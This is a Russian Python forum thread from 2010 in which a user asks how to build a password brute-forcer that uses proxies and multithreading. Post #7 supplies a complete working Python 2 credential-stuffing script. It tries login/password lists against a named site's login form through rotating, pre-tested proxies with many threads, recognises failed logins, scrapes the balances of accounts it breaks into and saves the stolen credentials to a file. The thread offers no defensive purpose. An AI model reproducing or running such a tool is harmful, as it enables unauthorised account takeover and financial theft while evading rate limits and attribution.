Уведомления

Группа в Telegram: @pythonsu

#1 Дек. 21, 2010 14:10:08

exeplor
От:
Зарегистрирован: 2010-12-03
Сообщения: 27
Репутация: +  0  -
Профиль   Отправить e-mail  

Как сделать брутфорс?

Здравствуйте! Несколько дней рассматриваю примеры по брутфорсу, и возникло несколько вопросов, буду благодарен за помощь.

Какой библиотекой лучше пользоваться? (urllib или urllib2), ну и собственно какая между ними разница?
Как можно загрузить сайт через прокси? :

page = urllib.urlopen('http://site.com/index.php?, data).read()
page- прямая загрузка страницы, а через прокси…

Ну и последний вопрос о многопоточности. На сколько я понял, многопоточность - это посылка 20 запросов на php и ожидание их обработки сервером, т.е. в цикле, где есть код который посылает и ожидает приема информации, надо поместить цикл в цикле который будет отсылать 20 запросов за один раз? Это всего лишь предположения.

Только ничего не подумайте :) Для общего развития, такие знание не помешают.



Офлайн

#2 Дек. 21, 2010 14:28:47

AlexAled
От:
Зарегистрирован: 2010-10-19
Сообщения: 24
Репутация: +  0  -
Профиль   Отправить e-mail  

Как сделать брутфорс?

многопоточность - это посылка 20 запросов на php и ожидание их обработки сервером

многопоточность понятие по шире :)))

1. не понятно при чем здесь многопоточность
2. Насколько я помню параметры прокси прописывать не нужно



Офлайн

#3 Дек. 21, 2010 15:41:16

Ferroman
От:
Зарегистрирован: 2006-11-16
Сообщения: 2759
Репутация: +  1  -
Профиль   Отправить e-mail  

Как сделать брутфорс?

Офлайн

#4 Дек. 21, 2010 16:35:54

exeplor
От:
Зарегистрирован: 2010-12-03
Сообщения: 27
Репутация: +  0  -
Профиль   Отправить e-mail  

Как сделать брутфорс?

AlexAled
многопоточность - это посылка 20 запросов на php и ожидание их обработки сервером

многопоточность понятие по шире :)))

1. не понятно при чем здесь многопоточность
2. Насколько я помню параметры прокси прописывать не нужно
Чуть выше сообщение о многопоточности, вот это я и имел ввиду.

Это послыка N`ного количества запросов и принятия их одновременно, потому что ожидание пока придет один ответ от сервера займет достаточно много времени, а это уже, извените, не брутфорс. Мало того, для каждого потока должен быть свой прокси адрес.

Вот пример такого: http://forum.k0d.cc/showthread.php?t=2897&page=1 . Но к сожалению я не могу и не буду разбирать чей то код, хочу сделать все с нуля, что бы было полностью понятно…



Офлайн

#5 Дек. 21, 2010 16:43:46

Андрей Светлов
От:
Зарегистрирован: 2007-05-15
Сообщения: 3137
Репутация: +  14  -
Профиль   Адрес электронной почты  

Как сделать брутфорс?

Правильно, это очень по нашему. Чукча не читатель - чукча писатель!
Задолбаем форум сотнями вопросов, но не прочитаем ни строчки чужого кода!
А чо, пущай разжевывают что к чему - нас повеселят и сами разомнутся!



Офлайн

#6 Дек. 21, 2010 16:59:29

exeplor
От:
Зарегистрирован: 2010-12-03
Сообщения: 27
Репутация: +  0  -
Профиль   Отправить e-mail  

Как сделать брутфорс?

Андрей Светлов
Правильно, это очень по нашему. Чукча не читатель - чукча писатель!
Задолбаем форум сотнями вопросов, но не прочитаем ни строчки чужого кода!
А чо, пущай разжевывают что к чему - нас повеселят и сами разомнутся!
Не против?

В том коде написано такое, чего я еще и не знаю. Но знаю одно, есть методы легче, понятней.



Отредактировано (Дек. 21, 2010 17:00:16)

Офлайн

#7 Дек. 24, 2010 18:39:32

zheromo
От:
Зарегистрирован: 2010-10-02
Сообщения: 356
Репутация: +  2  -
Профиль   Отправить e-mail  

Как сделать брутфорс?

Рабочий пример для нерабочего сайта :)

import re
import sys
import urllib
import urllib2

from Queue import Queue
from threading import Thread

proxy_q = Queue()
proxy_g = Queue()
login_q = Queue()

PROXY_USE = 5

# http://rock3d.cc/index/login/
# user_name
# user_password

balance_re = re.compile(r'Your balance</span><span id="cart_block_total" class="price">\$\d*\,\d*<br />\$(\d*\,\d*)</span>"', re.UNICODE)
fail_str = "You have enter incorrect combination of login and password."


class TestPassword(Thread):
def run(self):
while not login_q.empty():
login, password = login_q.get()
used, proxy = proxy_g.get()

def analyse(data):
if fail_str in data:
print '.',
else:
# print data
res = re.compile(r'\$(\d+\,\d+)').findall(data)
balance = res[1] if res else '?'
print '*', login, password, balance,
open('out5.txt','a').write('%s\t%s\t%s\n' % (login, password, balance,))

# check
data = urllib.urlencode(dict(user_name=login,user_password=password))
proxy_handler = urllib2.ProxyHandler({'http': 'http://%s/' % proxy})
opener = urllib2.build_opener(proxy_handler)
try:
data = opener.open('http://rock3d.cc/index/login/', data=data).read()
except:
print 'E',
login_q.put((login, password,))
else:
analyse(data)
used += 1
if used<PROXY_USE:
proxy_g.put((used,proxy,))


class TestProxy(Thread):
def run(self):
while not proxy_q.empty():
proxy = proxy_q.get()
proxy_handler = urllib2.ProxyHandler({'http': 'http://%s/' % proxy})
opener = urllib2.build_opener(proxy_handler)
try:
opener.open('http://ya.ru').read()
except:
print '.',
else:
print "P", # proxy,
proxy_g.put((0,proxy,))


print 'loading password list...',
data = open(sys.argv[1])
while True:
line = data.readline()
if not line:
break
try:
login, password = line.split()
except:
pass
else:
login_q.put((login, password,))
data.close()
print 'ok'

print 'loading proxy list...',
for p in open(sys.argv[2]):
proxy_q.put(p[:-1])
print 'ok'

print 'Start proxy checkers...'
for x in xrange(16):
TestProxy().start()
print '.',
print 'ok'

print 'Start password checkers...'
for x in xrange(8):
TestPassword().start()
print '.',
print 'ok'



Офлайн

#8 Янв. 26, 2011 20:09:48

Питон
От:
Зарегистрирован: 2011-01-26
Сообщения: 13
Репутация: +  0  -
Профиль   Отправить e-mail  

Как сделать брутфорс?

я не помню где то слышал что сейчас устанавливают количество попыток ввода логина и пароля, и после того как они кончаются… дальше забыл



Офлайн

Board footer

Модераторировать

Powered by DjangoBB

Lo-Fi Version